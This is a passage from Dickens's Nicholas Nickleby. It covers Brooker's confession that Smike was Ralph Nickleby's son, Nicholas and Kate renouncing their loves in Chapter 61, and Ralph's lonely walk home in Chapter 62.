caused our sending to you,' replied brother +Charles. 'Let him be, sir, let him be for the present.' + +'More riddles!' said Ralph, faintly. 'Well, sir?' + +In turning his face towards the brothers he was obliged to avert it +from the window; but, before either of them could speak, he had +looked round again. It was evident that he was rendered restless +and uncomfortable by the presence of the unseen person; for he +repeated this action several times, and at length, as if in a +nervous state which rendered him positively unable to turn away from +the place, sat so as to have it opposite him, muttering as an excuse +that he could not bear the light. + +The brothers conferred apart for a short time: their manner showing +that they were agitated. Ralph glanced at them twice or thrice, and +ultimately said, with a great effort to recover his self-possession, +'Now, what is this? If I am brought from home at this time of +night, let it be for something. What have you got to tell me?' +After a short pause, he added, 'Is my niece dead?' + +He had struck upon a key which rendered the task of commencement an +easier one. Brother Charles turned, and said that it was a death of +which they had to tell him, but that his niece was well. + +'You don't mean to tell me,' said Ralph, as his eyes brightened, +'that her brother's dead? No, that's too good. I'd not believe it, +if you told me so. It would be too welcome news to be true.' + +'Shame on you, you hardened and unnatural man,' cried the other +brother, warmly. 'Prepare yourself for intelligence which, if you +have any human feeling in your breast, will make even you shrink and +tremble. What if we tell you that a poor unfortunate boy: a child +in everything but never having known one of those tender +endearments, or one of those lightsome hours which make our +childhood a time to be remembered like a happy dream through all our +after life: a warm-hearted, harmless, affectionate creature, who +never offended you, or did you wrong, but on whom you have vented +the malice and hatred you have conceived for your nephew, and whom +you have made an instrument for wreaking your bad passions upon him: +what if we tell you that, sinking under your persecution, sir, and +the misery and ill-usage of a life short in years but long in +suffering, this poor creature has gone to tell his sad tale where, +for your part in it, you must surely answer?' + +'If you tell me,' said Ralph; 'if you tell me that he is dead, I +forgive you all else. If you tell me that he is dead, I am in your +debt and bound to you for life. He is! I see it in your faces. +Who triumphs now? Is this your dreadful news; this your terrible +intelligence? You see how it moves me. You did well to send. I +would have travelled a hundred miles afoot, through mud, mire, and +darkness, to hear this news just at this time.' + +Even then, moved as he was by this savage joy, Ralph could see in +the faces of the two brothers, mingling with their look of disgust +and horror, something of that indefinable compassion for himself +which he had noticed before. + +'And HE brought you the intelligence, did he?' said Ralph, pointing +with his finger towards the recess already mentioned; 'and sat +there, no doubt, to see me prostrated and overwhelmed by it! Ha, +ha, ha! But I tell him that I'll be a sharp thorn in his side for +many a long day to come; and I tell you two, again, that you don't +know him yet; and that you'll rue the day you took compassion on the +vagabond.' + +'You take me for your nephew,' said a hollow voice; 'it would be +better for you, and for me too, if I were he indeed.' + +The figure that he had seen so dimly, rose, and came slowly down. +He started back, for he found that he confronted--not Nicholas, as +he had supposed, but Brooker. + +Ralph had no reason, that he knew, to fear this man; he had never +feared him before; but the pallor which had been observed in his +face when he issued forth that night, came upon him again. He was +seen to tremble, and his voice changed as he said, keeping his eyes +upon him, + +'What does this fellow here? Do you know he is a convict, a felon, +a common thief?' + +'Hear what he has to tell you. Oh, Mr Nickleby, hear what he has to +tell you, be he what he may!' cried the brothers, with such emphatic +earnestness, that Ralph turned to them in wonder. They pointed to +Brooker. Ralph again gazed at him: as it seemed mechanically. + +'That boy,' said the man, 'that these gentlemen have been talking +of--' + +'That boy,' repeated Ralph, looking vacantly at him. + +'Whom I saw, stretched dead and cold upon his bed, and who is now +in his grave--' + +'Who is now in his grave,' echoed Ralph, like one who talks in his +sleep. + +The man raised his eyes, and clasped his hands solemnly together: + +'--Was your only son, so help me God in heaven!' + +In the midst of a dead silence, Ralph sat down, pressing his two +hands upon his temples. He removed them, after a minute, and never +was there seen, part of a living man undisfigured by any wound, such +a ghastly face as he then disclosed. He looked at Brooker, who was +by this time standing at a short distance from him; but did not say +one word, or make the slightest sound or gesture. + +'Gentlemen,' said the man, 'I offer no excuses for myself. I am +long past that. If, in telling you how this has happened, I tell +you that I was harshly used, and perhaps driven out of my real +nature, I do it only as a necessary part of my story, and not to +shield myself. I am a guilty man.' + +He stopped, as if to recollect, and looking away from Ralph, and +addressing himself to the brothers, proceeded in a subdued and +humble tone: + +'Among those who once had dealings with this man, gentlemen--that's +from twenty to five-and-twenty years ago--there was one: a rough +fox-hunting, hard-drinking gentleman, who had run through his own +fortune, and wanted to squander away that of his sister: they were +both orphans, and she lived with him and managed his house. I don't +know whether it was, originally, to back his influence and try to +over-persuade the young woman or not, but he,' pointing, to Ralph, +'used to go down to the house in Leicestershire pretty often, and +stop there many days at a time. They had had a great many dealings +together, and he may have gone on some of those, or to patch up his +client's affairs, which were in a ruinous state; of course he went +for profit. The gentlewoman was not a girl, but she was, I have +heard say, handsome, and entitled to a pretty large property. In +course of time, he married her. The same love of gain which led him +to contract this marriage, led to its being kept strictly private; +for a clause in her father's will declared that if she married +without her brother's consent, the property, in which she had only +some life interest while she remained single, should pass away +altogether to another branch of the family. The brother would give +no consent that the sister didn't buy, and pay for handsomely; Mr +Nickleby would consent to no such sacrifice; and so they went on, +keeping their marriage secret, and waiting for him to break his neck +or die of a fever. He did neither, and meanwhile the result of this +private marriage was a son. The child was put out to nurse, a long +way off; his mother never saw him but once or twice, and then by +stealth; and his father--so eagerly did he thirst after the money +which seemed to come almost within his grasp now, for his brother- +in-law was very ill, and breaking more and more every day--never +went near him, to avoid raising any suspicion. The brother lingered +on; Mr Nickleby's wife constantly urged him to avow their marriage; +he peremptorily refused. She remained alone in a dull country +house: seeing little or no company but riotous, drunken sportsmen. +He lived in London and clung to his business. Angry quarrels and +recriminations took place, and when they had been married nearly +seven years, and were within a few weeks of the time when the +brother's death would have adjusted all, she eloped with a younger +man, and left him.' + +Here he paused, but Ralph did not stir, and the brothers signed to +him to proceed. + +'It was then that I became acquainted with these circumstances from +his own lips. They were no secrets then; for the brother, and +others, knew them; but they were communicated to me, not on this +account, but because I was wanted. He followed the fugitives. Some +said to make money of his wife's shame, but, I believe, to take some +violent revenge, for that was as much his character as the other; +perhaps more. He didn't find them, and she died not long after. I +don't know whether he began to think he might like the child, or +whether he wished to make sure that it should never fall into its +mother's hands; but, before he went, he intrusted me with the charge +of bringing it home. And I did so.' + +He went on, from this point, in a still more humble tone, and spoke +in a very low voice; pointing to Ralph as he resumed. + +'He had used me ill--cruelly--I reminded him in what, not long ago +when I met him in the street--and I hated him. I brought the child +home to his own house, and lodged him in the front garret. Neglect +had made him very sickly, and I was obliged to call in a doctor, who +said he must be removed for change of air, or he would die. I think +that first put it in my head. I did it then. He was gone six weeks, +and when he came back, I told him--with every circumstance well +planned and proved; nobody could have suspected me--that the child +was dead and buried. He might have been disappointed in some +intention he had formed, or he might have had some natural +affection, but he WAS grieved at THAT, and I was confirmed in my +design of opening up the secret one day, and making it a means of +getting money from him. I had heard, like most other men, of +Yorkshire schools. I took the child to one kept by a man named +Squeers, and left it there. I gave him the name of Smike. Year by +year, I paid twenty pounds a-year for him for six years; never +breathing the secret all the time; for I had left his father's +service after more hard usage, and quarrelled with him again. I was +sent away from this country. I have been away nearly eight years. +Directly I came home again, I travelled down into Yorkshire, and, +skulking in the village of an evening-time, made inquiries about the +boys at the school, and found that this one, whom I had placed +there, had run away with a young man bearing the name of his own +father. I sought his father out in London, and hinting at what I +could tell him, tried for a little money to support life; but he +repulsed me with threats. I then found out his clerk, and, going on +from little to little, and showing him that there were good reasons +for communicating with me, learnt what was going on; and it was I +who told him that the boy was no son of the man who claimed to be +his father. All this time I had never seen the boy. At length, I +heard from this same source that he was very ill, and where he was. +I travelled down there, that I might recall myself, if possible, to +his recollection and confirm my story. I came upon him +unexpectedly; but before I could speak he knew me--he had good cause +to remember me, poor lad!--and I would have sworn to him if I had +met him in the Indies. I knew the piteous face I had seen in the +little child. After a few days' indecision, I applied to the young +gentleman in whose care he was, and I found that he was dead. He +knows how quickly he recognised me again, how often he had described +me and my leaving him at the school, and how he told him of a garret +he recollected: which is the one I have spoken of, and in his +father's house to this day. This is my story. I demand to be +brought face to face with the schoolmaster, and put to any possible +proof of any part of it, and I will show that it's too true, and +that I have this guilt upon my soul.' + +'Unhappy man!' said the brothers. 'What reparation can you make for +this?' + +'None, gentlemen, none! I have none to make, and nothing to hope +now. I am old in years, and older still in misery and care. This +confession can bring nothing upon me but new suffering and +punishment; but I make it, and will abide by it whatever comes. I +have been made the instrument of working out this dreadful +retribution upon the head of a man who, in the hot pursuit of his +bad ends, has persecuted and hunted down his own child to death. It +must descend upon me too. I know it must fall. My reparation comes +too late; and, neither in this world nor in the next, can I have +hope again!' + +He had hardly spoken, when the lamp, which stood upon the table +close to where Ralph was seated, and which was the only one in the +room, was thrown to the ground, and left them in darkness. There +was some trifling confusion in obtaining another light; the interval +was a mere nothing; but when the light appeared, Ralph Nickleby was +gone. + +The good brothers and Tim Linkinwater occupied some time in +discussing the probability of his return; and, when it became +apparent that he would not come back, they hesitated whether or no +to send after him. At length, remembering how strangely and +silently he had sat in one immovable position during the interview, +and thinking he might possibly be ill, they determined, although it +was now very late, to send to his house on some pretence. Finding +an excuse in the presence of Brooker, whom they knew not how to +dispose of without consulting his wishes, they concluded to act upon +this resolution before going to bed. + + + +CHAPTER 61 + +Wherein Nicholas and his Sister forfeit the good Opinion of all +worldly and prudent People + + +On the next morning after Brooker's disclosure had been made, +Nicholas returned home. The meeting between him and those whom he +had left there was not without strong emotion on both sides; for +they had been informed by his letters of what had occurred: and, +besides that his griefs were theirs, they mourned with him the death +of one whose forlorn and helpless state had first established a +claim upon their compassion, and whose truth of heart and grateful +earnest nature had, every day, endeared him to them more and more. + +'I am sure,' said Mrs Nickleby, wiping her eyes, and sobbing +bitterly, 'I have lost the best, the most zealous, and most +attentive creature that has ever been a companion to me in my life-- +putting you, my dear Nicholas, and Kate, and your poor papa, and +that well-behaved nurse who ran away with the linen and the twelve +small forks, out of the question, of course. Of all the tractable, +equal-tempered, attached, and faithful beings that ever lived, I +believe he was the most so. To look round upon the garden, now, +that he took so much pride in, or to go into his room and see it +filled with so many of those little contrivances for our comfort +that he was so fond of making, and made so well, and so little +thought he would leave unfinished--I can't bear it, I cannot really. +Ah! This is a great trial to me, a great trial. It will be comfort +to you, my dear Nicholas, to the end of your life, to recollect how +kind and good you always were to him--so it will be to me, to think +what excellent terms we were always upon, and how fond he always was +of me, poor fellow! It was very natural you should have been +attached to him, my dear--very--and of course you were, and are very +much cut up by this. I am sure it's only necessary to look at you +and see how changed you are, to see that; but nobody knows what my +feelings are--nobody can--it's quite impossible!' + +While Mrs Nickleby, with the utmost sincerity, gave vent to her +sorrows after her own peculiar fashion of considering herself +foremost, she was not the only one who indulged such feelings. +Kate, although well accustomed to forget herself when others were to +be considered, could not repress her grief; Madeline was scarcely +less moved than she; and poor, hearty, honest little Miss La Creevy, +who had come upon one of her visits while Nicholas was away, and had +done nothing, since the sad news arrived, but console and cheer them +all, no sooner beheld him coming in at the door, than she sat +herself down upon the stairs, and bursting into a flood of tears, +refused for a long time to be comforted. + +'It hurts me so,' cried the poor body, 'to see him come back alone. +I can't help thinking what he must have suffered himself. I +wouldn't mind so much if he gave way a little more; but he bears it +so manfully.' + +'Why, so I should,' said Nicholas, 'should I not?' + +'Yes, yes,' replied the little woman, 'and bless you for a good +creature! but this does seem at first to a simple soul like me--I +know it's wrong to say so, and I shall be sorry for it presently-- +this does seem such a poor reward for all you have done.' + +'Nay,' said Nicholas gently, 'what better reward could I have, than +the knowledge that his last days were peaceful and happy, and the +recollection that I was his constant companion, and was not +prevented, as I might have been by a hundred circumstances, from +being beside him?' + +'To be sure,' sobbed Miss La Creevy; 'it's very true, and I'm an +ungrateful, impious, wicked little fool, I know.' + +With that, the good soul fell to crying afresh, and, endeavouring to +recover herself, tried to laugh. The laugh and the cry, meeting +each other thus abruptly, had a struggle for the mastery; the result +was, that it was a drawn battle, and Miss La Creevy went into +hysterics. + +Waiting until they were all tolerably quiet and composed again, +Nicholas, who stood in need of some rest after his long journey, +retired to his own room, and throwing himself, dressed as he was, +upon the bed, fell into a sound sleep. When he awoke, he found Kate +sitting by his bedside, who, seeing that he had opened his eyes, +stooped down to kiss him. + +'I came to tell you how glad I am to see you home again.' + +'But I can't tell you how glad I am to see you, Kate.' + +'We have been wearying so for your return,' said Kate, 'mama and I, +and--and Madeline.' + +'You said in your last letter that she was quite well,' said +Nicholas, rather hastily, and colouring as he spoke. 'Has nothing +been said, since I have been away, about any future arrangements +that the brothers have in contemplation for her?' + +'Oh, not a word,' replied Kate. 'I can't think of parting from her +without sorrow; and surely, Nicholas, YOU don't wish it!' + +Nicholas coloured again, and, sitting down beside his sister on a +little couch near the window, said: + +'No, Kate, no, I do not. I might strive to disguise my real +feelings from anybody but you; but I will tell you that--briefly and +plainly, Kate--that I love her.' + +Kate's eyes brightened, and she was going to make some reply, when +Nicholas laid his hand upon her arm, and went on: + +'Nobody must know this but you. She, last of all.' + +'Dear Nicholas!' + +'Last of all; never, though never is a long day. Sometimes, I try +to think that the time may come when I may honestly tell her this; +but it is so far off; in such distant perspective, so many years +must elapse before it comes, and when it does come (if ever) I shall +be so unlike what I am now, and shall have so outlived my days of +youth and romance--though not, I am sure, of love for her--that even +I feel how visionary all such hopes must be, and try to crush them +rudely myself, and have the pain over, rather than suffer time to +wither them, and keep the disappointment in store. No, Kate! Since +I have been absent, I have had, in that poor fellow who is gone, +perpetually before my eyes, another instance of the munificent +liberality of these noble brothers. As far as in me lies, I will +deserve it, and if I have wavered in my bounden duty to them before, +I am now determined to discharge it rigidly, and to put further +delays and temptations beyond my reach.' + +'Before you say another word, dear Nicholas,' said Kate, turning +pale, 'you must hear what I have to tell you. I came on purpose, +but I had not the courage. What you say now, gives me new heart.' +She faltered, and burst into tears. + +There was that in her manner which prepared Nicholas for what was +coming. Kate tried to speak, but her tears prevented her. + +'Come, you foolish girl,' said Nicholas; 'why, Kate, Kate, be a +woman! I think I know what you would tell me. It concerns Mr +Frank, does it not?' + +Kate sunk her head upon his shoulder, and sobbed out 'Yes.' + +'And he has offered you his hand, perhaps, since I have been away,' +said Nicholas; 'is that it? Yes. Well, well; it is not so +difficult, you see, to tell me, after all. He offered you his +hand?' + +'Which I refused,' said Kate. + +'Yes; and why?' + +'I told him,' she said, in a trembling voice, 'all that I have since +found you told mama; and while I could not conceal from him, and +cannot from you, that--that it was a pang and a great trial, I did +so firmly, and begged him not to see me any more.' + +'That's my own brave Kate!' said Nicholas, pressing her to his +breast. 'I knew you would.' + +'He tried to alter my resolution,' said Kate, 'and declared that, be +my decision what it might, he would not only inform his uncles of +the step he had taken, but would communicate it to you also, +directly you returned. I am afraid,' she added, her momentary +composure forsaking her, 'I am afraid I may not have said, strongly +enough, how deeply I felt such disinterested love, and how earnestly +I prayed for his future happiness. If you do talk together, I +should--I should like him to know that.' + +'And did you suppose, Kate, when you had made this sacrifice to what +you knew was right and honourable, that I should shrink from mine?' +said Nicholas tenderly. + +'Oh no! not if your position had been the same, but--' + +'But it is the same,' interrupted Nicholas. 'Madeline is not the +near relation of our benefactors, but she is closely bound to them +by ties as dear; and I was first intrusted with her history, +specially because they reposed unbounded confidence in me, and +believed that I was as true as steel. How base would it be of me to +take advantage of the circumstances which placed her here, or of the +slight service I was happily able to render her, and to seek to +engage her affections when the result must be, if I succeeded, that +the brothers would be disappointed in their darling wish of +establishing her as their own child, and that I must seem to hope to +build my fortunes on their compassion for the young creature whom I +had so meanly and unworthily entrapped: turning her very gratitude +and warmth of heart to my own purpose and account, and trading in +her misfortunes! I, too, whose duty, and pride, and pleasure, Kate, +it is to have other claims upon me which I will never forget; and +who have the means of a comfortable and happy life already, and have +no right to look beyond it! I have determined to remove this weight +from my mind. I doubt whether I have not done wrong, even now; and +today I will, without reserve or equivocation, disclose my real +reasons to Mr Cherryble, and implore him to take immediate measures +for removing this young lady to the shelter of some other roof.' + +'Today? so very soon?' + +'I have thought of this for weeks, and why should I postpone it? If +the scene through which I have just passed has taught me to reflect, +and has awakened me to a more anxious and careful sense of duty, why +should I wait until the impression has cooled? You would not +dissuade me, Kate; now would you?' + +'You may grow rich, you know,' said Kate. + +'I may grow rich!' repeated Nicholas, with a mournful smile, 'ay, +and I may grow old! But rich or poor, or old or young, we shall +ever be the same to each other, and in that our comfort lies. What +if we have but one home? It can never be a solitary one to you and +me. What if we were to remain so true to these first impressions as +to form no others? It is but one more link to the strong chain that +binds us together. It seems but yesterday that we were playfellows, +Kate, and it will seem but tomorrow when we are staid old people, +looking back to these cares as we look back, now, to those of our +childish days: and recollecting with a melancholy pleasure that the +time was, when they could move us. Perhaps then, when we are quaint +old folks and talk of the times when our step was lighter and our +hair not grey, we may be even thankful for the trials that so +endeared us to each other, and turned our lives into that current, +down which we shall have glided so peacefully and calmly. And +having caught some inkling of our story, the young people about us-- +as young as you and I are now, Kate--may come to us for sympathy, +and pour distresses which hope and inexperience could scarcely feel +enough for, into the compassionate ears of the old bachelor brother +and his maiden sister.' + +Kate smiled through her tears as Nicholas drew this picture; but +they were not tears of sorrow, although they continued to fall when +he had ceased to speak. + +'Am I not right, Kate?' he said, after a short silence. + +'Quite, quite, dear brother; and I cannot tell you how happy I am +that I have acted as you would have had me.' + +'You don't regret?' + +'N--n--no,' said Kate timidly, tracing some pattern upon the ground +with her little foot. 'I don't regret having done what was +honourable and right, of course; but I do regret that this should +have ever happened--at least sometimes I regret it, and sometimes I +--I don't know what I say; I am but a weak girl, Nicholas, and it has +agitated me very much.' + +It is no vaunt to affirm that if Nicholas had had ten thousand +pounds at the minute, he would, in his generous affection for the +owner of the blushing cheek and downcast eye, have bestowed its +utmost farthing, in perfect forgetfulness of himself, to secure her +happiness. But all he could do was to comfort and console her by +kind words; and words they were of such love and kindness, and +cheerful encouragement, that poor Kate threw her arms about his +neck, and declared she would weep no more. + +'What man,' thought Nicholas proudly, while on his way, soon +afterwards, to the brothers' house, 'would not be sufficiently +rewarded for any sacrifice of fortune by the possession of such a +heart as Kate's, which, but that hearts weigh light, and gold and +silver heavy, is beyond all praise? Frank has money, and wants no +more. Where would it buy him such a treasure as Kate? And yet, in +unequal marriages, the rich party is always supposed to make a great +sacrifice, and the other to get a good bargain! But I am thinking +like a lover, or like an ass: which I suppose is pretty nearly the +same.' + +Checking thoughts so little adapted to the business on which he was +bound, by such self-reproofs as this and many others no less sturdy, +he proceeded on his way and presented himself before Tim Linkinwater. + +'Ah! Mr Nickleby!' cried Tim, 'God bless you! how d'ye do? Well? +Say you're quite well and never better. Do now.' + +'Quite,' said Nicholas, shaking him by both hands. + +'Ah!' said Tim, 'you look tired though, now I come to look at you. +Hark! there he is, d'ye hear him? That was Dick, the blackbird. He +hasn't been himself since you've been gone. He'd never get on +without you, now; he takes as naturally to you as he does to me.' + +'Dick is a far less sagacious fellow than I supposed him, if he +thinks I am half so well worthy of his notice as you,' replied +Nicholas. + +'Why, I'll tell you what, sir,' said Tim, standing in his favourite +attitude and pointing to the cage with the feather of his pen, 'it's +a very extraordinary thing about that bird, that the only people he +ever takes the smallest notice of, are Mr Charles, and Mr Ned, and +you, and me.' + +Here, Tim stopped and glanced anxiously at Nicholas; then +unexpectedly catching his eye repeated, 'And you and me, sir, and +you and me.' And then he glanced at Nicholas again, and, squeezing +his hand, said, 'I am a bad one at putting off anything I am +interested in. I didn't mean to ask you, but I should like to hear +a few particulars about that poor boy. Did he mention Cheeryble +Brothers at all?' + +'Yes,' said Nicholas, 'many and many a time.' + +'That was right of him,' returned Tim, wiping his eyes; 'that was +very right of him.' + +'And he mentioned your name a score of times,' said Nicholas, 'and +often bade me carry back his love to Mr Linkinwater.' + +'No, no, did he though?' rejoined Tim, sobbing outright. 'Poor +fellow! I wish we could have had him buried in town. There isn't +such a burying-ground in all London as that little one on the other +side of the square--there are counting-houses all round it, and if +you go in there, on a fine day, you can see the books and safes +through the open windows. And he sent his love to me, did he? I +didn't expect he would have thought of me. Poor fellow, poor +fellow! His love too!' + +Tim was so completely overcome by this little mark of recollection, +that he was quite unequal to any more conversation at the moment. +Nicholas therefore slipped quietly out, and went to brother +Charles's room. + +If he had previously sustained his firmness and fortitude, it had +been by an effort which had cost him no little pain; but the warm +welcome, the hearty manner, the homely unaffected commiseration, of +the good old man, went to his heart, and no inward struggle could +prevent his showing it. + +'Come, come, my dear sir,' said the benevolent merchant; 'we must +not be cast down; no, no. We must learn to bear misfortune, and we +must remember that there are many sources of consolation even in +death. Every day that this poor lad had lived, he must have been +less and less qualified for the world, and more and more unhappy in +is own deficiencies. It is better as it is, my dear sir. Yes, yes, +yes, it's better as it is.' + +'I have thought of all that, sir,' replied Nicholas, clearing his +throat. 'I feel it, I assure you.' + +'Yes, that's well,' replied Mr Cheeryble, who, in the midst of all +his comforting, was quite as much taken aback as honest old Tim; +'that's well. Where is my brother Ned? Tim Linkinwater, sir, where +is my brother Ned?' + +'Gone out with Mr Trimmers, about getting that unfortunate man into +the hospital, and sending a nurse to his children,' said Tim. + +'My brother Ned is a fine fellow, a great fellow!' exclaimed brother +Charles as he shut the door and returned to Nicholas. 'He will be +overjoyed to see you, my dear sir. We have been speaking of you +every day.' + +'To tell you the truth, sir, I am glad to find you alone,' said +Nicholas, with some natural hesitation; 'for I am anxious to say +something to you. Can you spare me a very few minutes?' + +'Surely, surely,' returned brother Charles, looking at him with an +anxious countenance. 'Say on, my dear sir, say on.' + +'I scarcely know how, or where, to begin,' said Nicholas. 'If ever +one mortal had reason to be penetrated with love and reverence for +another: with such attachment as would make the hardest service in +his behalf a pleasure and delight: with such grateful recollections +as must rouse the utmost zeal and fidelity of his nature: those are +the feelings which I should entertain for you, and do, from my heart +and soul, believe me!' + +'I do believe you,' replied the old gentleman, 'and I am happy in +the belief. I have never doubted it; I never shall. I am sure I +never shall.' + +'Your telling me that so kindly,' said Nicholas, 'emboldens me to +proceed. When you first took me into your confidence, and +dispatched me on those missions to Miss Bray, I should have told you +that I had seen her long before; that her beauty had made an +impression upon me which I could not efface; and that I had +fruitlessly endeavoured to trace her, and become acquainted with her +history. I did not tell you so, because I vainly thought I could +conquer my weaker feelings, and render every consideration +subservient to my duty to you.' + +'Mr Nickleby,' said brother Charles, 'you did not violate the +confidence I placed in you, or take an unworthy advantage of it. I +am sure you did not.' + +'I did not,' said Nicholas, firmly. 'Although I found that the +necessity for self-command and restraint became every day more +imperious, and the difficulty greater, I never, for one instant, +spoke or looked but as I would have done had you been by. I never, +for one moment, deserted my trust, nor have I to this instant. But +I find that constant association and companionship with this sweet +girl is fatal to my peace of mind, and may prove destructive to the +resolutions I made in the beginning, and up to this time have +faithfully kept. In short, sir, I cannot trust myself, and I +implore and beseech you to remove this young lady from under the +charge of my mother and sister without delay. I know that to anyone +but myself--to you, who consider the immeasurable distance between +me and this young lady, who is now your ward, and the object of your +peculiar care--my loving her, even in thought, must appear the +height of rashness and presumption. I know it is so. But who can +see her as I have seen, who can know what her life has been, and +not love her? I have no excuse but that; and as I cannot fly from +this temptation, and cannot repress this passion, with its object +constantly before me, what can I do but pray and beseech you to +remove it, and to leave me to forget her?' + +'Mr Nickleby,' said the old man, after a short silence, 'you can do +no more. I was wrong to expose a young man like you to this trial. +I might have foreseen what would happen. Thank you, sir, thank you. +Madeline shall be removed.' + +'If you would grant me one favour, dear sir, and suffer her to +remember me with esteem, by never revealing to her this confession--' + +'I will take care,' said Mr Cheeryble. 'And now, is this all you +have to tell me?' + +'No!' returned Nicholas, meeting his eye, 'it is not.' + +'I know the rest,' said Mr Cheeryble, apparently very much relieved +by this prompt reply. 'When did it come to your knowledge?' + +'When I reached home this morning.' + +'You felt it your duty immediately to come to me, and tell me what +your sister no doubt acquainted you with?' + +'I did,' said Nicholas, 'though I could have wished to have spoken +to Mr Frank first.' + +'Frank was with me last night,' replied the old gentleman. 'You +have done well, Mr Nickleby--very well, sir--and I thank you again.' + +Upon this head, Nicholas requested permission to add a few words. +He ventured to hope that nothing he had said would lead to the +estrangement of Kate and Madeline, who had formed an attachment for +each other, any interruption of which would, he knew, be attended +with great pain to them, and, most of all, with remorse and pain to +him, as its unhappy cause. When these things were all forgotten, he +hoped that Frank and he might still be warm friends, and that no +word or thought of his humble home, or of her who was well contented +to remain there and share his quiet fortunes, would ever again +disturb the harmony between them. He recounted, as nearly as he +could, what had passed between himself and Kate that morning: +speaking of her with such warmth of pride and affection, and +dwelling so cheerfully upon the confidence they had of overcoming +any selfish regrets and living contented and happy in each other's +love, that few could have heard him unmoved. More moved himself +than he had been yet, he expressed in a few hurried words--as +expressive, perhaps, as the most eloquent phrases--his devotion to +the brothers, and his hope that he might live and die in their +service. + +To all this, brother Charles listened in profound silence, and with +his chair so turned from Nicholas that his face could not be seen. +He had not spoken either, in his accustomed manner, but with a +certain stiffness and embarrassment very foreign to it. Nicholas +feared he had offended him. He said, 'No, no, he had done quite +right,' but that was all. + +'Frank is a heedless, foolish fellow,' he said, after Nicholas had +paused for some time; 'a very heedless, foolish fellow. I will take +care that this is brought to a close without delay. Let us say no +more upon the subject; it's a very painful one to me. Come to me in +half an hour; I have strange things to tell you, my dear sir, and +your uncle has appointed this afternoon for your waiting upon him +with me.' + +'Waiting upon him! With you, sir!' cried Nicholas. + +'Ay, with me,' replied the old gentleman. 'Return to me in half an +hour, and I'll tell you more.' + +Nicholas waited upon him at the time mentioned, and then learnt all +that had taken place on the previous day, and all that was known of +the appointment Ralph had made with the brothers; which was for that +night; and for the better understanding of which it will be +requisite to return and follow his own footsteps from the house of +the twin brothers. Therefore, we leave Nicholas somewhat reassured +by the restored kindness of their manner towards him, and yet +sensible that it was different from what it had been (though he +scarcely knew in what respect): so he was full of uneasiness, +uncertainty, and disquiet. + + + +CHAPTER 62 + +Ralph makes one last Appointment--and keeps it + + +Creeping from the house, and slinking off like a thief; groping with +his hands, when first he got into the street, as if he were a blind +man; and looking often over his shoulder while he hurried away, as +though he were followed in imagination or reality by someone anxious +to question or detain him; Ralph Nickleby left the city behind him, +and took the road to his own home. + +The night was dark, and a cold wind blew, driving the clouds, +furiously and fast, before it. There was one black, gloomy mass +that seemed to follow him: not hurrying in the wild chase with the +others, but lingering sullenly behind, and gliding darkly and +stealthily on. He often looked back at this, and, more than once, +stopped to let it pass over; but, somehow, when he went forward +again, it was still behind him, coming mournfully and slowly up, +like a shadowy funeral train. + +He had to pass a poor, mean burial-ground--a dismal place, raised a +few feet above the level of the street, and parted from it by a low +parapet-wall and an iron railing; a rank, unwholesome, rotten spot, +where the very grass and weeds seemed, in their frouzy growth, to +tell that they had sprung from paupers' bodies, and had struck their +roots in the graves of men, sodden, while alive, in steaming courts +and drunken hungry dens. And here, in truth, they lay, parted from +the living by a little earth and a board or two--lay thick and +close--corrupting in body as they had in mind--a dense and squalid +crowd. Here they lay, cheek by jowl with life: no deeper down than +the feet of the throng that passed there every day, and piled high +as their throats. Here they lay, a grisly family, all these dear +departed brothers and sisters of the ruddy clergyman who did his +task so speedily when they were hidden in the ground! + +As he passed here, Ralph called to mind that he had been one of a +jury, long before, on the body of a man who had cut his throat; and +that he was buried in this place. He could not tell how he came to +recollect it now, when he had so often passed and never thought +about him, or how it was that he felt an interest in the +circumstance; but he did both; and stopping, and clasping the iron +railings with his hands, looked eagerly in, wondering which might be +his grave. + +While he was thus engaged, there came towards him, with noise of +shouts and singing, some fellows full of drink, followed by others, +who were remonstrating with them and urging them to go home in +quiet. They were in high good-humour; and one of them, a little, +weazen, hump-backed man, began to dance. He was a grotesque, +fantastic figure, and the few bystanders laughed. Ralph himself was +moved to mirth, and echoed the laugh of one who stood near and who +looked round in his face. When they had passed on, and he was left +alone again, he resumed his speculation with a new kind of interest; +for he recollected that the last person who had seen the suicide +alive, had left him very merry, and he remembered how strange he and +the other jurors had thought that at the time. + +He could not fix upon the spot among such a heap of graves, but he +conjured up a strong and vivid idea of the man himself, and how he +looked, and what had led him to do it; all of which he recalled with +ease. By dint of dwelling upon this theme, he carried the +impression with him when he went away; as he remembered, when a +child, to have had frequently before him the figure of some goblin +he had once seen chalked upon a door. But as he drew nearer and +nearer home he forgot it again, and began to think how very dull and +solitary the house would be inside. + +This feeling became so strong at last, that when he reached his own +door, he could hardly make up his mind to turn the key and open it. +When he had done that, and gone into the passage, he felt as though +to shut it again would be to shut out the world. But he let it go, +and it closed with a loud noise. There was no light. How very +dreary, cold, and still it was! + +Shivering from head to foot, he made his way upstairs into the room +where he had been last disturbed. He had made a kind of compact +with himself that he would not think of what had happened until he +got home. He was at home now, and suffered himself to consider it. + +His own child, his own child! He never doubted the tale; he felt it +was true; knew it as well, now, as if he had been privy to it all +along. His own child! And dead too. Dying beside Nicholas, loving +him, and looking upon him as something like an angel. That was the +worst! + +They had all turned from him and deserted him in his very first +need. Even money could not buy them now; everything must come out, +and everybody must know all. Here was the young lord dead, his +companion abroad and beyond his reach, ten thousand pounds gone at +one blow, his plot with Gride overset at the very moment of triumph, +his after-schemes discovered, himself in danger, the object of his +persecution and Nicholas's love, his own wretched boy; everything +crumbled and fallen upon him, and he beaten down beneath the ruins +and grovelling in the dust. + +If he had known his child to be alive; if no deceit had been ever +practised, and he had grown up beneath his eye; he might have been a +careless, indifferent, rough, harsh father--like enough--he felt +that; but the thought would come that he might have been otherwise, +and that his son might have been a comfort to him, and they two +happy together. He began to think now, that his supposed death and +his wife's flight had had some share in making him the morose, hard +man he was. He seemed to remember a time when he was not quite so +rough and obdurate; and almost thought that he had first hated +Nicholas because he was young and gallant, and perhaps like the +stripling who had brought dishonour and loss of fortune on his head. + +But one tender thought, or one of natural regret, in his whirlwind +of passion and remorse, was as a drop of calm water in a stormy +maddened sea. His hatred of Nicholas had been fed upon his own +defeat, nourished on his interference with his schemes, fattened +upon his old defiance and success. There were reasons for its +increase; it had grown and strengthened gradually. Now it attained +a height which was sheer wild lunacy. That his, of all others, +should have been the hands to rescue his miserable child; that he +should have been his protector and faithful friend; that he should +have shown him that love and tenderness which, from the wretched +moment of his birth, he had never known; that he should have taught +him to hate his own parent and execrate his very name; that he +should now know and feel all this, and triumph in the recollection; +was gall and madness to the usurer's heart. The dead boy's love for 